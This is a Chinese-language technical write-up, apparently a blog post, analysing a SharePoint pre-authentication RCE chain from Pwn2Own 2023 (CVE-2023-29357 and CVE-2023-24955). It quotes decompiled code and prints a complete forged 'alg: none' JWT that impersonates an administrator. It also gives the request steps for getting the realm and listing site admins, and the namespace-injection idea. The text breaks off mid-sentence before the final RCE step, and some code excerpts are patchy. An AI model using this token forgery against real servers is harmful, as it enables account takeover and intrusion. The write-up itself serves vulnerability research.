SharePoint双重漏洞链:从认证绕过到预授权RCE (CVE-2023-29357 & CVE-2023-24955)

本文深入分析了在Pwn2Own Vancouver 2023中成功演示的SharePoint预授权远程代码执行漏洞链。该链利用了两个关键漏洞:一个JWT签名验证绕过漏洞(CVE-2023-29357)允许攻击者冒充任意用户,以及一个动态代理生成器中的代码注入漏洞(CVE-2023-24955),最终实现在SharePoint服务器上执行任意代码。

概要

我可能已在Pwn2Own Vancouver 2023中成功利用了SharePoint目标。虽然现场演示仅持续了大约30秒,但值得指出的是,发现和构建该利用链的过程花费了近一年的细致努力和研究,才完成了完整的利用链。

此利用链利用了两个漏洞来实现对SharePoint服务器的预授权远程代码执行(RCE)

  1. 认证绕过 - 未经认证的攻击者可以通过伪造有效的JSON Web令牌(JWTs),使用none签名算法来绕过JWT令牌用于OAuth认证时的签名验证检查,从而冒充任何SharePoint用户。这个漏洞在项目开始两天后就发现了。
  2. 代码注入 - 拥有SharePoint所有者权限的用户可以通过替换网站根目录中的 /BusinessDataMetadataCatalog/BDCMetadata.bdcm 文件,注入任意代码,导致注入的代码被编译成程序集,随后由SharePoint执行。此漏洞于2022年2月发现。

认证绕过漏洞的特定部分是:它只能访问SharePoint API。因此,最困难的部分是找到使用SP API的后认证RCE链。

受影响的产品/测试版本

漏洞 #1:SharePoint应用程序认证绕过

在默认的SharePoint配置下,几乎所有发送到SharePoint站点的请求都需要NTLM认证来处理。

在分析web配置文件时,我意识到我们至少可以使用4种认证类型。

认证模块 处理类
FederatedAuthentication SPFederationAuthenticationModule
SessionAuthentication SPSessionAuthenticationModule
SPApplicationAuthentication SPApplicationAuthenticationModule
SPWindowsClaimsAuthentication SPWindowsClaimsAuthenticationHttpModule

我开始逐一分析这些模块,然后在 SPApplicationAuthenticationModule 中发现了一些有趣的东西。

该模块为Http事件 AuthenticateRequest 注册了 SPApplicationAuthenticationModule.AuthenticateRequest() 方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
namespace Microsoft.SharePoint.IdentityModel
{
  internal sealed class SPApplicationAuthenticationModule : IHttpModule
  {
    public void Init(HttpApplication context)
    {
      if (context == null)
      {
        throw new ArgumentNullException("context");
      }
      context.AuthenticateRequest += this.AuthenticateRequest;
      context.PreSendRequestHeaders += this.PreSendRequestHeaders;
    }
    //...
  }
  //...
}

因此,每次我们尝试向SharePoint站点发送HTTP请求时,都会调用此方法来处理认证逻辑!

仔细查看 SPApplicationAuthenticationModule.AuthenticateRequest() 方法,会调用 SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication() 来检查当前URL是否允许使用OAuth作为认证方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void AuthenticateRequest(object sender, EventArgs e)
{
  if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
  {
    spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
    //...
  }
  else
  {
    bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
    if (flag)
    {
      //...
      spidentityReliabilityMonitorAuthenticateRequest.Success(null);
    }
    else
    {
      //...
      OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
    }
    //...
  }
  //...
}

[1] 处,如果请求URL包含以下模式之一,将允许使用OAuth认证:

  • /_vti_bin/client.svc
  • /_vti_bin/listdata.svc
  • /_vti_bin/sites.asmx
  • /_api/
  • /_vti_bin/ExcelRest.aspx
  • /_vti_bin/ExcelRest.ashx
  • /_vti_bin/ExcelService.asmx
  • /_vti_bin/PowerPivot16/UsageReporting.svc
  • /_vti_bin/DelveApi.ashx
  • /_vti_bin/DelveEmbed.ashx
  • /_layouts/15/getpreview.ashx
  • /_vti_bin/wopi.ashx
  • /_layouts/15/userphoto.aspx
  • /_layouts/15/online/handlers/SpoSuiteLinks.ashx
  • /_layouts/15/wopiembedframe.aspx
  • /_vti_bin/homeapi.ashx
  • /_vti_bin/publiccdn.ashx
  • /_vti_bin/TaxonomyInternalService.json/GetSuggestions
  • /_layouts/15/download.aspx
  • /_layouts/15/doc.aspx
  • /_layouts/15/WopiFrame.aspx

当满足上述条件时,在 [2] 处将调用 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 来继续处理认证请求。

SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 方法的相关代码如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
  //...
  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
  {
    ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
    return false;
  }
  //...
  if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
  {
    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
  }
  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
  //...
  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
  //...
}

注意:[4][5] 处的代码将在稍后阶段讨论。

[3] 处,SPApplicationAuthenticationModule.TryExtractAndValidateToken() 方法将尝试从HTTP请求中解析认证令牌并执行验证检查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
  //...
  if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
  {
    return false;
  }
  //...
  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
  {
    SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
  }
  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
  {
    Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler(); 
    StringBuilder stringBuilder = new StringBuilder();
    using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
    {
      identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
    }
    SPIdentityProofToken spidentityProofToken2 = null;
    using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
    {
      spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
    }

    ClaimsIdentityCollection claimsIdentityCollection = null;
    claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
    tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
    identityProofToken = spidentityProofToken2;
    tokenContext.IsProofTokenScenario = true;
    SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
    SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
    SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
  }
}

[6] 处,TryParseOAuthToken() 方法将尝试从HTTP请求的查询字符串参数 access_tokenAuthorization 头中获取OAuth访问令牌,并将其存储到 text 变量中。

例如,HTTP请求将类似于以下内容:

1
2
3
4
5
GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint

同样,从HTTP请求中提取OAuth访问令牌后,TryParseProofToken() 方法将尝试从HTTP请求的查询字符串参数 prooftokenX-PROOF_TOKEN 头中获取证明令牌,并将其存储到 text2 变量中。

[7] 处,两个令牌都作为参数传递给 SPIdentityProofTokenUtilities.CreateFromJsonWebToken() 方法。

SPIdentityProofTokenUtilities.CreateFromJsonWebToken() 方法的相关代码如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
  RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
  SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
  if (securityToken == null)
  {
    ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
    throw new InvalidOperationException("Proof token is not JWT");
  }
  SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
  if (securityToken2 == null)
  {
    ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
    throw new InvalidOperationException("Identity token is not JWT");
  }
  //...
  JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
  if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
  {
    spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
    try
    {
      new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
      return spidentityProofToken;
    }
    //...
  }
  //...
}

乍一看,可以推断出访问令牌(作为 identityTokenString 参数传递)和证明令牌(作为 proofTokenString 参数传递)都应为JSON Web令牌(JWTs)。

初始化一个 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型的实例来执行令牌解析和验证,然后在 [11] 处调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法。

RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型是 JsonWebSecurityTokenHandler 的子类型。由于 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 没有覆盖 ReadToken() 方法,调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法等同于调用 JsonWebSecurityTokenHandler.ReadToken()JsonWebSecurityTokenHandler.ReadTokenCore() 方法的包装函数)。

[11][12] 处验证访问令牌和证明令牌的 JsonWebSecurityTokenHandler 相关代码如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public virtual SecurityToken ReadToken(string token)
{
  return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
  Utility.VerifyNonNullOrEmptyStringArgument("token", token);
  return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
  return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
  Utility.VerifyNonNullOrEmptyStringArgument("token", token);
  if (!this.CanReadToken(token)) // [14]
  {
    throw new SecurityTokenException("Unsupported security token.");
  }
  string[] array = token.Split(new char[] { '.' });
  string text = array[0];  // JWT Header
  string text2 = array[1]; // JWT Payload (JWS Claims)
  string text3 = array[2]; // JWT Signature
  Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
  dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
  Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
  dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
  string text4;
  dictionary.TryGetValue("alg", out text4); // [15]
  SecurityToken securityToken = null;
  if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
  {
    if (string.IsNullOrEmpty(text3))
    {
      throw new SecurityTokenException("Missing signature.");
    }
    SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
    SecurityToken securityToken2;

    if (securityToken2 == null)
    {

    }
    securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
  }
  //...
}

[14] 处,首先调用 JsonWebSecurityTokenHandler.CanReadToken() 方法,以确保令牌与正则表达式 ^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$ 匹配。基本上,这检查用户提供的令牌是否类似于有效的JWT令牌,每个部分(即头部、负载和签名)都是Base64编码的。

之后,提取JWT令牌的头部、负载和签名部分。然后对头部和负载部分执行Base64解码,然后将它们解析为JSON对象。

[15] 处,从头部部分提取 alg 字段(即签名算法)。例如,如果Base64解码的头部部分是 {"alg": "HS256","typ": "JWT"},则 alg 字段的值为 HS256

此认证绕过漏洞的根本原因的第一部分可以在 [16] 处找到 – 验证所提供的JWT令牌的签名时存在逻辑缺陷。如果 alg 字段未设置为 none,则调用 VerifySignature() 方法来验证提供的JWT令牌的签名。但是,如果 algnone,则跳过 JsonWebSecurityTokenHandler.ReadTokenCore() 中的签名验证检查!

回到 [13] 处,SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience() 对提供的证明令牌头部部分中的 aud(受众)字段执行验证检查。

以下是 aud 字段有效值的示例: 00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af

aud 字段的格式为 <client_id>/<hostname>@<realm>

  • 静态值 00000003-0000-0ff1-ce00-000000000000 被接受为所有SharePoint本地实例的有效 <client_id>
  • <hostname> 指当前HTTP请求的SharePoint服务器(目标)的主机名(例如 splab)。
  • <realm>(例如 3b80be6c-6741-4135-9292-afed8df596af)可以通过向 /_api/web/ 发送带有 Authorization: Bearer 头的请求,从 WWW-Authenticate 响应头中获取。

以下是用于获取构造 aud 字段有效值所需的 <realm> 的HTTP请求示例:

1
2
3
4
5
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer

HTTP响应将在 WWW-Authenticate 响应头中包含 <realm>

1
2
3
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...

之后,将从用户提供的访问令牌和证明令牌创建一个新的 SPIdentityProofToken,控制流到达 [8] 处。

[8] 处,identityProofTokenHandlerSPClaimsUtility.GetIdentityProofTokenHandler() 方法返回:

1
2
3
4
5
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
  //...
  return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}

SPClaimsUtility.GetIdentityProofTokenHandler() 方法的实现意味着返回的 identityProofTokenHandler 将是 SPIdentityProofTokenHandler 的一个实例。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

{

  bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
  if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
  {

    return;
  }
  //...

}

SPIdentityProofTokenUtilities.IsHashedProofToken() 方法的实现如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
  if (token == null)
  {
    return false;
  }
  if (token.Claims == null)
  {
    return false;
  }
  JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
  return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}

回到 [10] 处,调用 SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext) 来验证当前URL的哈希值。存储在JWT负载部分的 endpointurl 字段中的所需值可以通过以下计算得出: base64_encode(sha256(request_url))

执行 SPApplicationAuthenticationModule.TryExtractAndValidateToken() 后,代码流向 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 方法并到达 [4] 处:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
  //...
  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
    //...
    if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
  {
    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
  }
  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
  //...
  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]

如果 spincomingTokenContext.TokenType 不是 spincomingTokenContext.Loopback 并且当前HTTP请求未通过SSL加密,则将抛出异常。因此,需要在伪造的JWT令牌中将 isloopback 声明设置为 true,以使 spincomingTokenContext.TokenType == spincomingTokenContext.Loopback,从而确保不会抛出异常,代码继续正常执行。

随后,在 [5] 处,令牌将被传递到 SPApplicationAuthenticationModule.SignInProofToken() 中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
  SecurityContext.RunAsProcess(delegate
  {
    Uri contextUri = SPAlternateUrl.ContextUri;
    SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
    SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
    IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
    //...
  });
}

此方法将从用户提供的JWT令牌创建 SecurityTokenForContext 实例,并将其发送到安全令牌服务(STS)进行认证。

这是整个漏洞中最重要的部分 – 如果STS接受伪造的JWT令牌,那么就有可能冒充任何SharePoint用户!

为简洁起见,伪造的JWT令牌应类似于以下内容: eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh

伪造的JWT令牌的Base64解码部分如下所示:

  • 头部: {"alg": "none"}

请注意,需要修改 nameid 字段以冒充SharePoint站点中的相应用户。

因此,我们得到了一个认证绕过,但它可能至少需要知道SharePoint站点中存在的至少一个用户名。如果没有,SharePoint站点将拒绝认证,我们将无法访问任何功能。

起初,我认为这个问题很容易解决,因为用户“Administrator”存在于每个Windows Server 2022实例中。 但事实并非如此! . . 是的,我们可以假设用户“Administrator”存在于每个Windows Server 2022实例中,但这不是我们需要的。 在正确配置的SharePoint实例中:

  • SharePoint服务用户不应该是“内置管理员”。
  • 站点管理员用户也不应该是“内置管理员”。
  • 只有“场管理员”需要是SharePoint服务器的“内置管理员”。

这意味着在Pwn2Own设置中,“Administrator”帐户将不是SharePoint站点成员。

这部分利用让我花了几天时间一遍又一遍地阅读ZDI关于SharePoint的系列博客文章,直到我意识到这一行:

这个入口点 /my 在我的SharePoint实例中不存在。 搜索了一会儿后,我发现他们(ZDI团队)使用了初始场配置向导来设置SharePoint服务器,而不是像我假设/做的那样手动配置。 当使用初始场配置向导时,许多其他功能将被启用,用户配置文件服务是负责入口点 /my 的服务。 此入口点具有授予“已验证用户”的读取权限,这意味着任何经过认证的用户都可以访问此站点,获取用户列表和管理员用户名。

通过使用“我的网站”站点中的认证绕过,

在第一个请求中,我们可以首先冒充Windows上的任何用户,甚至是本地用户,如 NT AUTHORITY\LOCAL SERVICE, NT AUTHORITY\SYSTEM。 认证后,通过使用ListData服务在以下位置获取站点管理员:/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true

然后我们可以冒充站点管理员用户并执行任何进一步的操作!

漏洞 #2:DynamicProxyGenerator.GenerateProxyAssembly() 中的代码注入

如前所述,虽然我们可以冒充任何用户,但仅限于SharePoint API。 我一直在搜索旧的SharePoint漏洞,但找不到任何可通过API访问的漏洞(或者至少我当时不知道如何访问)。 好吧,然后我花了2022年下半年阅读SharePoint API源代码,最终发现了这个漏洞!

代码注入漏洞存在于 DynamicProxyGenerator.GenerateProxyAssembly() 方法中。该方法的实现相关部分如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
  //...
  CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
  //...
  CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
  codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
  codeCompileUnit.ReferencedAssemblies.Add("System.dll");
  //...
  CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
  StringCollection stringCollection = null;
  //...
  using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
  {
    CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
    codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
    textWriter.Flush();
    sourceCode = textWriter.ToString(); // [19]
  }
  CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
  //...
}

此方法的主要逻辑是使用 proxyNameSpace 生成一个程序集。在 [17] 处,使用 proxyNamespaceName 参数初始化了一个 CodeNamespace 实例。然后,在 [18] 处,这个 CodeNamespace 实例被添加到 codeCompileUnit.Namespaces 中。

之后,在 [19] 处,codeDomProvider.GenerateCodeFromCompileUnit() 将使用包含我们的 proxyNamespaceNamecodeCompileUnit 生成源代码,并将源代码存储在变量 sourceCode 中。

研究发现,没有对 proxyNamespaceName 参数进行验证。因此,通过提供恶意输入作为 proxyNamespaceName 参数,可以在 [20] 处将要编译的程序集的代码中注入任意内容。

例如:

  • 如果 proxyNamespaceNameFoo,则生成的代码是:namespace Foo{}
  • 但是,如果为 proxyNamespaceName 参数提供了恶意输入,例如 Hacked{} namespace Foo,则会生成并编译以下代码:
    1
    2
    3
    4
    
    namespace Hacked{
        //恶意代码
    }
    namespace Foo{}
    

DynamicProxyGenerator.GenerateProxyAssembly() 方法通过反射在 WebServiceSystemUtility.GenerateProxyAssembly() 中调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
  AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
  {
    new Zone(SecurityZone.MyComputer)
  }, new object[0]), setupInformation, permissionSet, new StrongName[0]);
  object dynamicProxyGenerator = null;
  SPSecurity.RunWithElevatedPrivileges(delegate
  {
    dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
  });
  Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
  string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
  string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
  WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
  object[] array = null;
  try
  {
    array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
  }
  //...

反射调用可以在 [21][23] 处找到。

[22] 处,请注意 proxyNamespaceName 是从方法 WebServiceSystemPropertyParser.GetWebServiceProxyNamespace() 中检索的,该方法检索当前 LobSystemWebServiceProxyNamespace 属性:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
  //...
  string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
  if (!string.IsNullOrEmpty(text))
  {
    return text.Trim();
  }
  //...
}

为了到达 WebServiceSystemUtility.GenerateProxyAssembly() 方法,发现可以使用 Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute() 方法。如下所述,此 Entity.Execute() 方法也可用于加载生成的程序集并实例化生成程序集中的类型,从而实现远程代码执行。

Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute() 方法的相关代码如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
...
[ClientCallableMethod] // [24]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
  if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
  {
    throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
  }
  //...
  this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}

[24] 处,由于该方法具有 [ClientCallableMethod] 属性,因此可通过SharePoint REST API访问该方法。在 [26] 处有一个检查,以确保 LobSystemSystemType 不等于 SystemType.DotNetAssembly,然后才会在 [27] 处调用 this.m_entity.Execute()

然而,此时有一个小障碍 –

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计